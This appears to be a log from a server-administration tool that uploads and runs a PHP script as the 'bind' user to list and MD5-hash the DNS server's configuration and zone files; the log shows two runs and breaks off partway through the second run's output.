MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:07:36: Establishing a connection
2026-07-15 13:07:36: 

PUT: /tmp/pkp922142

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:07:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp922142; rm /tmp/pkp922142'

2026-07-15 13:07:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:07:37: Establishing a connection
2026-07-15 13:07:38: 

PUT: /tmp/pkp293005

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:07:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp293005; rm /tmp/pkp293005'

2026-07-15 13:07:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
